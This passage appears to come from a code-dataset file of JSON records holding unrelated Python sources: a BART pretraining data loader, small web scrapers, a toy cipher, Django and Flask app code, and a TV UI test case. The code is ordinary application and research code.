self.idata_length = data_length_per_file\n self.triplet_data = triplet_data\n self.eType = eType\n self.negative_rate = negative_rate\n self.batch_size = args.bsz_per_device * torch.cuda.device_count()\n self.re_rate = 1\n\n # for p-tuning\n if args:\n self.tokenizer = Tokenizer\n self.template = args.template\n self.ner_template = args.ner_template\n self.tokenizer.add_special_tokens({'additional_special_tokens': [args.entity_pseudo_token]})\n self.tokenizer.add_special_tokens({'additional_special_tokens': [args.relation_pseudo_token]})\n self.entity_pseudo_token_id = self.tokenizer.get_vocab()[args.entity_pseudo_token]\n self.relation_pseudo_token_id = self.tokenizer.get_vocab()[args.relation_pseudo_token]\n self.MASK = self.tokenizer.mask_token_id\n self.question_marker_id = self.tokenizer.convert_tokens_to_ids(\"?\")\n\n self._load_data(self.current_index)\n\n def __len__(self):\n if self.windows_size == len(self.filepaths):\n return len(self.texts) + len(self.bio_texts)\n return len(self.filepaths) * self.idata_length + len(self.bio_filepaths) * self.idata_length \n \n def _load_each_source_data(self, files):\n texts = []\n for i, file in enumerate(files):\n logger.info('loading file [%d] ...' % i)\n with gzip.GzipFile(file, 'r') as fin:\n json_bytes = fin.read().splitlines() \n\n for i, bytes in enumerate(json_bytes):\n if i >= self.idata_length:\n break\n json_line = json.loads(str(bytes, 'utf-8'))\n # print(json_line['pos_triplets'])\n texts.append({'text': json_line['text'], \n 'entities': json_line['entities'], \n 'triplets': json_line['triplets'] if 'triplets' in json_line else [],\n 'pos_entities': json_line['pos_entities'],\n 'neg_entities': json_line['neg_entities'],\n 'pos_triplets': json_line['pos_triplets'],\n 'neg_triplets': json_line['neg_triplets'],})\n # print({'text': json_line['text'], \n # 'entities': json_line['entities'], \n # 'triplets': json_line['triplets'] if 'triplets' in json_line else []})\n \n random.shuffle(texts)\n return texts\n\n def _load_data(self, index):\n logger.info(f'current index is [{index}]')\n self.texts = []\n self.bio_texts = []\n if (index + self.windows_size) > len(self.filepaths):\n files = self.filepaths[index:]\n else:\n files = self.filepaths[index:index+self.windows_size]\n self.texts = self._load_each_source_data(files)\n\n if (index + self.windows_size) > len(self.bio_filepaths):\n bio_files = self.bio_filepaths[index:]\n else:\n bio_files = self.bio_filepaths[index:index+self.windows_size]\n self.bio_texts = self._load_each_source_data(bio_files)\n\n self.current_data_length = len(self.texts) + len(self.bio_texts)\n logger.info(f'current size of data is [{len(self.texts) + len(self.bio_texts)}]')\n\n def process_data(self, save_dir):\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n\n save_file_num = 24\n save_data_num = 0\n processed_texts = []\n\n for file in self.filepaths:\n print('processing file [%s] ...' % file)\n with gzip.GzipFile(file, 'r') as fin:\n json_bytes = fin.read().splitlines() \n\n for bytes in json_bytes:\n\n json_line = json.loads(str(bytes, 'utf-8'))\n \n json_line['entities'] = [entity \n for entity in json_line['entities'] \n if entity[1] != 'None_type' or entity[1] != '0']\n\n sampled_entities = json_line['entities']\n pos_entities = []\n neg_entities = []\n if self.eType is not None:\n # sample entities\n sampled_entities = []\n cur_entity = set()\n for entity in json_line['entities']:\n name = entity[0]\n if name in cur_entity:\n continue\n cur_entity.add(name)\n type = self.eType[entity[1]]\n sampled_entities.append([name, type, 1])\n pos_entities.append([name, type])\n\n # negtive sample\n for _ in range(self.negative_rate):\n negative_type = random.sample(list(self.eType.values()), 1)[0]\n if negative_type != type:\n sampled_entities.append([name, negative_type, 0])\n neg_entities.append([name, negative_type])\n \n sampled_triplets = []\n pos_triplets = []\n neg_triplets = []\n if self.triplet_data is not None:\n # sample (h, t, o)\n entities = list(set([e[0] for e in json_line['entities']]))\n for i in range(len(entities)):\n for j in range(i, len(entities)):\n if entities[i] == entities[j]:\n continue\n\n triplet = self.triplet_data.find_relation(entities[i], entities[j])\n if not triplet:\n continue\n\n head, tail, relation, r_label = triplet\n pos_triplets.append((head, tail, relation, r_label))\n\n # negtive sample\n for _ in range(self.negative_rate):\n false_relation = random.sample(list(self.triplet_data.relation_dict.values()), 1)[0]\n if false_relation != relation:\n neg_triplets.append((head, tail, false_relation, 0))\n\n sampled_triplets = pos_triplets + neg_triplets\n random.shuffle(sampled_triplets)\n\n if len(pos_triplets) > 0:\n processed_texts.append({'text': json_line['text'], \n 'entities': sampled_entities,\n 'pos_entities': pos_entities,\n 'neg_entities': neg_entities,\n 'triplets': sampled_triplets,\n 'pos_triplets': [pos[:3] for pos in pos_triplets],\n 'neg_triplets': [neg[:3] for neg in neg_triplets]\n })\n\n if len(processed_texts) >= 100000:\n print('saving file [%s] ...' % os.path.join(save_dir, \"%s.jsonl.gz\" % str(save_file_num)))\n with gzip.open(os.path.join(save_dir, \"%s.jsonl.gz\" % str(save_file_num)), \"wb\") as fout:\n for d in processed_texts:\n fout.write((json.dumps(d)+'\\n').encode())\n save_data_num += len(processed_texts)\n save_file_num += 1\n processed_texts = []\n\n # if len(processed_texts) > 0:\n # print('saving file [%s] ...' % os.path.join(save_dir, \"%s.jsonl.gz\" % str(save_file_num)))\n # with gzip.open(os.path.join(save_dir, \"%s.jsonl.gz\" % str(save_file_num)), \"wb\") as fout:\n # for d in processed_texts:\n # fout.write((json.dumps(d)+'\\n').encode())\n # save_data_num += len(processed_texts)\n # save_file_num += 1\n \n print(f'Total got [{save_data_num}] data.')\n print(f'Total got [{save_file_num}] data files.')\n \n def _entity_aware_text_masking(self, text, entity):\n entity_tokens = entity.split(' ')\n text_tokens = text.split(' ')\n replace_text_tokens = []\n\n # random mask some entities\n i = 0\n while i < len(text_tokens):\n if ' '.join(entity_tokens).lower() == ' '.join(text_tokens[i:i+(len(entity_tokens))]).lower():\n if random.random() < 0.5:\n replace_text_tokens.append('')\n i += len(entity_tokens)\n else:\n replace_text_tokens.append(text_tokens[i])\n i += 1\n else:\n replace_text_tokens.append(text_tokens[i])\n i += 1\n\n return ' '.join(replace_text_tokens)\n\n def _token_aware_text_masking(self, text):\n replace_text_tokens = text.split(' ')\n # random mask some tokens\n for i, _token in enumerate(replace_text_tokens):\n if random.random() < 0.1:\n replace_text_tokens[i] = ''\n\n return ' '.join(replace_text_tokens)\n\n def _convert_data_to_bart_format(self, data:dict) -> dict:\n # logger.info('converting data to bart pretrain format ...')\n\n input_item = {}\n \n # random mask entities and tokens\n text = data['text']\n for entity in data['entities']:\n text = self._entity_aware_text_masking(text, entity[0])\n text = self._token_aware_text_masking(text)\n\n input_item['mask_encoder_input'] = self.tokenizer.encode(text, add_special_tokens=False, max_length=MAX_SENT_LEN) + [self.tokenizer.eos_token_id]\n input_item['origin_encoder_input'] = self.tokenizer.encode(data['text'], add_special_tokens=False, max_length=MAX_SENT_LEN) + [self.tokenizer.eos_token_id]\n input_item['origin_decoder_input'] = [self.tokenizer.bos_token_id] + self.tokenizer.encode(data['text'], add_special_tokens=False, max_length=MAX_SENT_LEN) + [self.tokenizer.eos_token_id]\n input_item['lm_label'] = self.tokenizer.encode(data['text'], add_special_tokens=False, max_length=MAX_SENT_LEN) + [self.tokenizer.eos_token_id]\n \n entity = data['entities'][random.randint(0, len(data['entities'])-1)]\n entity_input = entity[:2]\n pos_entity = data['pos_entities'][random.randint(0, len(data['pos_entities'])-1)]\n neg_entity = data['neg_entities'][random.randint(0, len(data['neg_entities'])-1)]\n\n input_item['entity'] = [self.tokenizer.encode(item, add_special_tokens=False) for item in entity_input]\n input_item['pos_entity'] = [self.tokenizer.encode(item, add_special_tokens=False) for item in pos_entity]\n input_item['neg_entity'] = [self.tokenizer.encode(item, add_special_tokens=False) for item in neg_entity]\n input_item[\"e_label\"] = entity[2]\n \n if 'triplets' in data and len(data['triplets']) > 0:\n triplet = data['triplets'][random.randint(0, len(data['triplets'])-1)]\n triplet_input = triplet[:3]\n pos_triplet = data['pos_triplets'][random.randint(0, len(data['pos_triplets'])-1)]\n neg_triplet = data['neg_triplets'][random.randint(0, len(data['neg_triplets'])-1)]\n \n input_item['triplet'] = [self.tokenizer.encode(item, add_special_tokens=False) for item in triplet_input]\n input_item['pos_triplet'] = [self.tokenizer.encode(item, add_special_tokens=False) for item in pos_triplet]\n input_item['neg_triplet'] = [self.tokenizer.encode(item, add_special_tokens=False) for item in neg_triplet]\n input_item[\"r_label\"] = triplet[3]\n input_item[\"has_triplets\"] = True\n else:\n input_item['triplet'] = []\n input_item['pos_triplet'] = []\n input_item['neg_triplet'] = []\n input_item[\"r_label\"] = []\n input_item[\"has_triplets\"] = False\n return input_item\n\n def _get_p_tuning_input(self, x_h, prompt_token, x_t=None, type=None, task=0):\n if task == 'ner':\n prompt = [[prompt_token] * self.ner_template[0]\n + x_h # entity\n + [prompt_token] * self.ner_template[1]\n + type # entity type\n + [prompt_token] * self.ner_template[2]\n + [self.question_marker_id]\n ]\n elif task == 're':\n prompt = [[prompt_token] * self.template[0]\n + x_h # head entity\n + [prompt_token] * self.template[1]\n + x_t # relation type\n + [prompt_token] * self.template[3]\n + type # tail entity\n + [prompt_token] * self.template[2]\n + [self.question_marker_id]\n ]\n else:\n prompt = [[]]\n return prompt[0]\n\n def __getitem__(self, _id):\n index = _id // self.idata_length\n if index >= (self.current_index + self.windows_size) or index < self.current_index:\n self._load_data(index)\n self.current_index = index\n text = self.texts[_id % self.current_data_length]\n\n data = self._convert_data_to_bart_format(text)\n\n sample = {}\n sample['mask_encoder_input'] = data['mask_encoder_input']\n sample['origin_encoder_input'] = data['origin_encoder_input']\n sample['origin_decoder_input'] = data['origin_decoder_input']\n\n sample['ner_encoder_input'] = data['mask_encoder_input'] \\\n + self._get_p_tuning_input(data['entity'][0], \n self.entity_pseudo_token_id, \n type = data['entity'][1],\n task='ner') \\\n + [self.MASK] \\\n + [self.tokenizer.eos_token_id]\n sample['ner_decoder_input'] = data['origin_decoder_input'] \\\n + self._get_p_tuning_input(data['entity'][0], \n self.entity_pseudo_token_id, \n type = data['entity'][1],\n task='ner') \\\n + [self.MASK] \\\n + [self.tokenizer.eos_token_id]\n sample['re_encoder_input'] = data['mask_encoder_input'] \\\n + self._get_p_tuning_input(data['triplet'][0], \n self.relation_pseudo_token_id, \n data['triplet'][1],\n type = data['triplet'][2],\n task='re') \\\n + [self.MASK] \\\n + [self.tokenizer.eos_token_id]\n sample['re_decoder_input'] = data['origin_decoder_input'] \\\n + self._get_p_tuning_input(data['triplet'][0], \n self.relation_pseudo_token_id, \n data['triplet'][1],\n type = data['triplet'][2],\n task='re') \\\n + [self.MASK] \\\n + [self.tokenizer.eos_token_id]\n sample['lm_label'] = data['lm_label']\n sample['r_label'] = data['r_label']\n sample['e_label'] = data['e_label']\n\n # Contrastive Sample\n # pos_samples\n sample['pos_ner_encoder_input'] = data['origin_encoder_input'] \\\n + self._get_p_tuning_input(data['pos_entity'][0], \n self.entity_pseudo_token_id, \n type = data['pos_entity'][1],\n task='ner') \\\n + [self.tokenizer.eos_token_id]\n sample['pos_ner_decoder_input'] = data['origin_decoder_input'] \\\n + self._get_p_tuning_input(data['pos_entity'][0], \n self.entity_pseudo_token_id, \n type = data['pos_entity'][1],\n task='ner') \\\n + [self.tokenizer.eos_token_id]\n sample['pos_re_encoder_input'] = data['origin_encoder_input'] \\\n + self._get_p_tuning_input(data['pos_triplet'][0], \n self.relation_pseudo_token_id, \n data['pos_triplet'][1],\n type = data['pos_triplet'][2],\n task='re') \\\n + [self.tokenizer.eos_token_id]\n sample['pos_re_decoder_input'] = data['origin_decoder_input'] \\\n + self._get_p_tuning_input(data['pos_triplet'][0], \n self.relation_pseudo_token_id, \n data['pos_triplet'][1],\n type = data['pos_triplet'][2],\n task='re') \\\n + [self.tokenizer.eos_token_id]\n\n # neg_samples\n sample['neg_ner_encoder_input'] = data['origin_encoder_input'] \\\n + self._get_p_tuning_input(data['neg_entity'][0], \n self.entity_pseudo_token_id, \n type = data['neg_entity'][1],\n task='ner') \\\n + [self.tokenizer.eos_token_id]\n sample['neg_ner_decoder_input'] = data['origin_decoder_input'] \\\n + self._get_p_tuning_input(data['neg_entity'][0], \n self.entity_pseudo_token_id, \n type = data['neg_entity'][1],\n task='ner') \\\n + [self.tokenizer.eos_token_id]\n sample['neg_re_encoder_input'] = data['origin_encoder_input'] \\\n + self._get_p_tuning_input(data['neg_triplet'][0], \n self.relation_pseudo_token_id, \n data['neg_triplet'][1],\n type = data['neg_triplet'][2],\n task='re') \\\n + [self.tokenizer.eos_token_id]\n sample['neg_re_decoder_input'] = data['origin_decoder_input'] \\\n + self._get_p_tuning_input(data['neg_triplet'][0], \n self.relation_pseudo_token_id, \n data['neg_triplet'][1],\n type = data['neg_triplet'][2],\n task='re') \\\n + [self.tokenizer.eos_token_id]\n return sample\n\ndef test():\n data = []\n with open('dataset/sample.txt') as f1:\n for i, src in enumerate(f1):\n data.append(src.strip())\n if i >= 1:\n break\n\n print(f'total size of data is {len(data)}')\n\n batch = Tokenizer.prepare_seq2seq_batch(src_texts=data, max_length=MAX_SENT_LEN, padding='max_length')\n batch[\"labels\"] = batch[\"input_ids\"].copy()\n\n vocab = {}\n with open('pretrained_model/bart_base/vocab.json') as fp:\n vocab = json.load(fp)\n vocab = {v:k for k, v in vocab.items()}\n print(vocab)\n sent = []\n for sentence in batch[\"input_ids\"]:\n line = []\n for token in sentence:\n line.append(vocab[token])\n sent.append(line)\n\n label = []\n for sentence in batch[\"labels\"]:\n line = []\n for token in sentence:\n line.append(vocab[token])\n label.append(line)\n\n print(batch)\n print(sent)\n print(label)\n\ndef get_entity_type(data_dir):\n print('Begin to process data ...')\n data_files = []\n Traverse_dir(data_dir, data_files)\n print('total data files: [%d]' % len(data_files))\n \n type_set = set()\n for file in data_files[:]:\n print('processing file [%s] ...' % file)\n with gzip.GzipFile(file, 'r') as fin:\n json_bytes = fin.read().splitlines() \n\n for i, bytes in enumerate(json_bytes):\n json_line = json.loads(str(bytes, 'utf-8'))\n \n for entity in json_line['entities']:\n if entity[1] != 'None_type':\n type_set.add(str(entity[1])+'\\n')\n\n print('Totally got [%d] entity types.' % len(type_set))\n with open('entity_type.txt', 'w', encoding='utf-8') as fp:\n type_list = list(type_set)\n fp.writelines(type_list)\n\n\nif __name__ == '__main__':\n\n wikidata = TripletData('dataset/Wikidata5m/wikidata5m_all_triplet.txt', 'dataset/Wikidata5m/wikidata5m_entity.txt', 'dataset/Wikidata5m/wikidata5m_relation.txt')\n\n data_dir = 'dataset/wiki_NER'\n eType_dict = {}\n with open(os.path.join(data_dir, 'entity_type.txt'), 'r', encoding='utf-8') as fp:\n etypes = fp.readlines()\n for t in etypes:\n type, tname = t.strip(\"\\n\").split('\\t')\n eType_dict[type] = tname\n\n data_files = []\n Traverse_dir(data_dir, data_files)\n data_files = [file for file in data_files if file.startswith('dataset/wiki_NER/rank')]\n print(data_files)\n print(data_files.index('dataset/wiki_NER/rank_4/28.jsonl.gz')+1)\n\n dataset = WikiDataset(data_files[data_files.index('dataset/wiki_NER/rank_4/28.jsonl.gz')+1:], 0, 0, wikidata, eType_dict, negative_rate=5)\n dataset.process_data(os.path.join(data_dir, 'processed2'))\n\n # WikiDataset([os.path.join(data_dir, 'processed', '0.jsonl.gz')], 1, 100, wikidata, eType_list)\n","sub_path":"Pretraining/data_loader3.py","file_name":"data_loader3.py","file_ext":"py","file_size_in_byte":31284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"122793322","text":"import logging\nimport urllib\nfrom random import Random\n\n\ndef getProductInfo(minMoney,MaxMoney,needFeeRate):\n orderConditionList=['','TRANSFER_PRICE_ASC','INVEST_PERIOD_ASC','INVEST_RATE_DESC','TRANSFER_CUT_RATE_DESC','BUY_FEE_RATE_DESC']\n random = Random()\n i=random.randint(0,5)\n orderCondition=orderConditionList[i]\n ranMaxMoney = float(MaxMoney) + round(random.uniform(-10, 100), 2);\n url = \"https://list.lu.com/list/transfer-p2p?minMoney=%s&maxMoney=%s¤tPage=1&orderCondition=%s&productCategoryEnum=CGI¬HasBuyFeeRate=%s\" % (minMoney,ranMaxMoney,orderCondition,needFeeRate)\n logging.info(url);\n req = urllib.request.Request(url)\n res_data = urllib.request.urlopen(req)\n res = res_data.read()\n return res\n","sub_path":"p2p/p2pProductInfo.py","file_name":"p2pProductInfo.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"277073152","text":"from time import time\r\nfrom os import system\r\nfrom math import floor\r\n\r\ndef convert(M):\r\n\tt = time()\r\n\tif type(M) == str:\r\n\t\tExt = list()\r\n\t\tM = str(M)\r\n\t\tfor i in M:\r\n\t\t\tExt.append(ord(i))\r\n\telif type(M) == list:\r\n\t\tExt = str()\r\n\t\tExt = ''.join(chr(i) for i in M)\r\n\treturn Ext\r\n\r\ndef Uncrypt(Message, Key, LongK):\r\n\tCryptM = list()\r\n\tn = 0\r\n\tfor i in Message:\r\n\t\tlet = i - Key[n]\r\n\r\n\t\twhile let < 32:\r\n\t\t\tlet = 127+let-32\r\n\t\tCryptM.append(let)\r\n\t\tn += 1\r\n\t\tif n >= LongK: #creer un iterateur\r\n\t\t\tn = 0\r\n\r\n\treturn CryptM\r\n\r\ndef Crypt(Message, Key, LongK):\r\n\tCryptM = list()\r\n\tn = 0\r\n\tfor i in Message:\r\n\t\tlet = i + Key[n]\r\n\r\n\t\twhile let > 126:\r\n\t\t\tlet = 32+(let-127)\r\n\t\tCryptM.append(let)\r\n\t\tn += 1\r\n\t\tif n >= LongK:\r\n\t\t\tn = 0\r\n\r\n\treturn CryptM\r\n\r\ndef main():\r\n\tdirectory = input(\"Enter the file's directory: \")\r\n\tmessage = False\r\n\tif directory != '':\r\n\t\twith open(directory, 'r') as f:\r\n\t\t\tmessage = f.read()\r\n\r\n\tif message == False: message = input(\"Enter the message: \")\r\n\tkey = input('enter the key: ')\r\n\r\n\tkey = convert(key)\r\n\tt= time()\r\n\tmessage = convert(message)\r\n\tCryptM = Crypt(message, key, len(key))\r\n\tCryptM = convert(CryptM)\r\n\tprint(CryptM)\r\n\tprint('Crypt algorythm in ' + str(time() - t) + 'sec.')\r\n\t\r\n\tt = time()\r\n\tCryptM = convert(CryptM)\r\n\tCryptM = Uncrypt(CryptM, key, len(key))\r\n\tCryptM = convert(CryptM)\r\n\tprint(CryptM)\r\n\tprint('Uncrypt algorythm done in ' + str(time() -t) + 'sec.')\r\n\r\n\t\r\n\tif directory != '':\r\n\t\tf.close()\r\n\r\nmain()\r\nsystem('PAUSE')\r\n\r\n#!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\r\n","sub_path":"Python/Cryptage/Crypt2.py","file_name":"Crypt2.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"305326235","text":"from PIL import Image, ImageDraw\n\nclass Grid:\n\n def __init__(self):\n self.capture_image()\n\n def capture_image(self):\n screenshot = Image.open('screenshots/screen_staging.png')\n columns = 60\n rows = 80\n screen_width, screen_height = screenshot.size\n\n block_width = ((screen_width - 1) // columns) + 1\n block_height = ((screen_height - 1) // rows) + 1\n\n for y in range(0, screen_height, block_height):\n for x in range(0, screen_width, block_width):\n draw = ImageDraw.Draw(screenshot)\n draw.rectangle((x, y, x+block_width, y+block_height), outline='red')\n\n screenshot.save('screenshots/grid.png')\n\nGrid()\n","sub_path":"automation/visual_regression_testing/selenium/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"71144810","text":"from django import forms\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.db import transaction\n\nfrom .models import Reader,Genre\n\nclass SignUpForm(UserCreationForm):\n genre = forms.ModelMultipleChoiceField(\n queryset=Genre.objects.all(),\n widget=forms.CheckboxSelectMultiple,\n required=True\n )\n age = forms.IntegerField()\n location = forms.CharField()\n image = forms.ImageField()\n \n class Meta(UserCreationForm.Meta):\n model = Reader\n\n @transaction.atomic\n def save(self):\n user = super().save(commit=False)\n user.location = self.cleaned_data.get('location')\n user.age = self.cleaned_data.get('age')\n user.image = self.cleaned_data.get('image')\n user.save()\n user.genre.add(*self.cleaned_data.get('genre'))\n # if user.image:\n # user.set_image()\n return user\n \n","sub_path":"reader/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"301497785","text":"from flask import Blueprint, render_template, flash, redirect, session, url_for, request, g\nfrom app import app, db, uploaded_photos\nfrom forms import CoffeeForm\nfrom app.koffes.models import Coffee\nfrom werkzeug import secure_filename\nimport os\n\nmod = Blueprint('koffes', __name__)\n\n@mod.route('/koffes')\ndef index():\n\tcoffees = Coffee.all()\n\treturn render_template(\"koffes/index.html\", coffees=coffees)\n\n@mod.route('/koffes/new')\ndef new():\n\tform = CoffeeForm(request.form)\n\treturn render_template(\"koffes/new.html\", form=form)\n\n@mod.route('/koffes/create', methods=('GET', 'POST'))\ndef create():\n\tform = CoffeeForm(request.form)\n\tif form.validate_on_submit():\n\t\tcoffee = Coffee()\n\t\tform.populate_obj(coffee)\n\n\t\tif request.files.get('image_url'):\n\t\t\tfilename = uploaded_photos.save(request.files.get('image_url'))\n\t\t\tcoffee.image_url = os.path.join(app.config['UPLOADS_DEFAULT_URL'], filename)\n\t\t\n\t\tcoffee.save()\n\t\treturn redirect(url_for('koffes.index'))\n\telse:\n\t\treturn render_template(\"koffes/new.html\", form=form)\n\n@mod.route('/koffes//edit')\ndef edit(id):\n\tcoffee = Coffee.find(id)\n\tform = CoffeeForm(request.form, coffee)\n\tif coffee:\n\t\treturn render_template(\"koffes/edit.html\", form=form, coffee=coffee)\t\n\n\n@mod.route('/koffes//update', methods=('GET', 'POST'))\ndef update(id):\n\tcoffee = Coffee.find(id)\n\tif coffee:\n\t\tform = CoffeeForm(request.form, coffee)\n\n\t\tif form.validate_on_submit():\n\t\t\tform.populate_obj(coffee)\n\n\t\t\tif request.files.get('image_url'):\n\t\t\t\tfilename = uploaded_photos.save(request.files.get('image_url'))\n\t\t\t\tcoffee.image_url = os.path.join(app.config['UPLOADS_DEFAULT_URL'], filename)\n\n\t\t\tcoffee.save()\n\t\t\treturn redirect(url_for('koffes.index'))\n\n\t\telse:\n\t\t\treturn render_template(\"koffes/edit.html\", form=form, coffee=coffee)\n\n@mod.route('/koffes/', methods=('GET', 'DELETE'))\ndef destroy(id):\n\tcoffee = Coffee.find(id)\n\tif coffee:\n\t\tcoffee.destroy()\n\t\treturn redirect(url_for('koffes.index'))\t\t\t\n","sub_path":"app/koffes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"69288440","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date : 2019-01-22 09:56:52\n# @Author : Lewis Tian (chtian@hust.edu.cn)\n# @Link : https://lewistian.github.io\n# @Version : Python3.7\n\nimport os\nimport math\nimport requests\nimport re\nimport time\nimport threading\nfrom urllib.request import urlretrieve\n\n'''\n从视频下方的回复者中提取挂件\napi:https://api.bilibili.com/x/v2/reply?callback=jQuery172016532967742963667_1548121853369&jsonp=jsonp&pn=1&type=1&oid={$av}&sort=0&_={$timestamp}\njson\n\tdata\n\t\treplies\n\t\t\ti[0,2,3...19]\n\t\t\t\tmember\n\t\t\t\t\tpendant\n\t\t\t\t\t\timage\n\t\t\t\t\t\tname\n挂件的嵌套格式如上所示\n'''\n\ndef pendant(url):\n\thas_more = True\n\tpn = 1\n\twhile has_more:\n\t\tprint(f'retrieving {url} page {pn}...')\n\t\tav = re.findall(r'\\d+', url)[0]\n\t\tapi = f'https://api.bilibili.com/x/v2/reply?callback=&jsonp=jsonp&pn={pn}&type=1&oid={av}&sort=0&_={int(time.time()*1000)}'\n\t\theaders = {\n\t\t\t'Host': 'api.bilibili.com',\n\t\t\t'Referer': url,\n\t\t\t'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36',\n\t\t}\n\t\tr = requests.get(api, headers = headers)\n\t\ttry:\n\t\t\treplies = r.json()['data']['replies']\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\treturn\n\t\tdata = []\n\t\tfor x in replies:\n\t\t\tp = x['member']['pendant']\n\t\t\timage = p['image']\n\t\t\tname = p['name']\n\t\t\tif image:\n\t\t\t\td = {}\n\t\t\t\td['image'] = image\n\t\t\t\td['name'] = name\n\t\t\t\tdata.append(d)\n\t\tthreading.Thread(target=download, args=(data, )).start()\n\t\tpage = r.json()['data']['page']\n\t\thas_more = page['num'] < math.ceil(page['count']/page['size'])\n\t\tpn += 1\n\t\ttime.sleep(1)\n\ndef download(data):\n\tfor x in data:\n\t\tname = x['name']\n\t\timage = x['image']\n\t\tif os.path.exists(f'bili-pendant/{name}.png'):\n\t\t\tcontinue\n\t\tprint(f'downloading {name} {image}')\n\t\turlretrieve(image, f'bili-pendant/{name}.png')\n\nif __name__ == '__main__':\n\tif not os.path.exists('bili-pendant'):\n\t\tos.mkdir('bili-pendant')\n\twith open('bili-pendant.txt') as f:\n\t\tdata = f.readlines()\n\tfor x in data:\n\t\tpendant(x.replace('\\n', ''))","sub_path":"bilibili/bili-pendant.py","file_name":"bili-pendant.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"572970541","text":"import re\n\nimport cbox\nimport pandas as pd\n\n\ndef repl(s):\n pos = s.lower().find('the **')\n if pos == -1:\n return re.sub(r'\\*\\*', '}}}', re.sub(r' ?\\*\\*', ' {{{', s, 1), 1).strip()\n return re.sub(r'\\*\\*', '}}}', re.sub(r'[Tt]he \\*\\*', '{{{the ', s, 1), 1).strip()\n\n\n@cbox.cmd\ndef main(infile, outfile):\n df = pd.read_csv(infile)\n df = df[df['Approved'] == 1]\n df['formatted_sentence'] = df['s'].apply(repl)\n df.to_csv(outfile, index=False)\n\n\nif __name__ == '__main__':\n cbox.main(main)\n","sub_path":"scripts/fmt_trademarks_sents.py","file_name":"fmt_trademarks_sents.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"49248864","text":"# * coding:utf-8 *\n# Author : Administrator\n# Createtime: 7/12/2018\nimport sys,os\nimport unittest\nimport xmlrunner\nsys.path.insert(0, os.getcwd())\nfrom BDP.config import constants\nfrom BDP.common import qw_model_action_util, base_case, check_result\n\nclass testcase_ContentList_BasicCheck_0001(base_case.BaseCase):\n \"\"\"\n Excel: ContentList_BasicCheck.xlsx\n Category: Video/Music/Photo List\n Test case: 1) On \"\"BDP Home\"\" screen, press [ENTER] key on Dis/USB/MediaServer icon.\n # For USB/MediaServer, continue to select a device.\"\n 2) On Video/Music/Photo list screen, press arrow keys and [ENTER] key.\n 3) On Video/Music/Photo list screen, press [ENTER] key on a Video/Music/Photo file.\n\n Expected Result: Default is Video category.\n Video list screen display normal.\n Focus move normal, can enter to next layer.\n Can open video playback.\n \"\"\"\n def setUp(self):\n print(\"Initialization Test Environment\")\n self.assertTrue(qw_model_action_util.check_USB('QW'),\n 'please Insert the USB correctly.')\n super(testcase_ContentList_BasicCheck_0001, self).setUp()\n # 1. 进入Home UI界面\n qw_model_action_util.send_key('HOME')\n # 2. 进入Setup界面\n qw_model_action_util.go_setup()\n # 3.确保resetting成功\n qw_model_action_util.go_all_resetting()\n qw_model_action_util.send_key('HOME')\n\n def tearDown(self):\n super(testcase_ContentList_BasicCheck_0001, self).tearDown()\n\n def testcase_ContentList_BasicCheck_0001(self):\n # 1. Video List\n print (\"Step1: Enter Into USB device\")\n qw_model_action_util.go_usb_device()\n\n print (\"Step2: On Video list screen, press [ENTER] key on a video file\")\n qw_model_action_util.play_source('video')\n\n print (\"Step3: Can open video playback\")\n qw_model_action_util.send_key('DISPLAY')\n self.assertTrue(check_result.check_pictures('Play_Back.png'),\n 'Open video playback failed')\n qw_model_action_util.quit_play_back('video')\n\n # 2. Music List\n print (\"Step4: Change catetory to Music\")\n qw_model_action_util.change_catetory()\n\n print ('Step5: On Music list screen, Press [ENTER] key on a music file')\n qw_model_action_util.play_source('music')\n\n print (\"Step6: Can open video playback\")\n self.assertTrue(check_result.check_pictures('Play_Back.png'),\n 'Open music playback failed')\n qw_model_action_util.quit_play_back('music')\n\n # 3 Photo List\n print (\"Step7: Change catetory to Photo\")\n qw_model_action_util.change_catetory()\n\n print (\"Step8: On Photo list screen, Press [ENTER] key on a photo file\")\n qw_model_action_util.play_source('photo')\n\n print (\"Step9: Can open photo playback\")\n self.assertTrue(check_result.check_pictures('Photo.png',True),\n 'Open photo playback failed')\n qw_model_action_util.quit_play_back('photo')\n\nif __name__ == '__main__':\n xmlpath = constants.log_dir\n runner = xmlrunner.XMLTestRunner(output=xmlpath, stream=sys.stdout)\n suite = unittest.TestLoader().loadTestsFromTestCase(testcase_ContentList_BasicCheck_0001)\n runner.run(suite)","sub_path":"BDP/QW_case/testcase_ContentList_BasicCheck_0001.py","file_name":"testcase_ContentList_BasicCheck_0001.py","file_ext":"py","file_size_in_byte":3454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"366029496","text":"import webbrowser\r\n\r\n#Defines parent Video and child Movie / TvShow classes\r\n\r\nclass Video():\r\n \"\"\" This parent class provides a way to store video related information\"\"\"\r\n\r\n VALID_UK_RATINGS = [\"U\", \"PG\", \"12A\", \"12\", 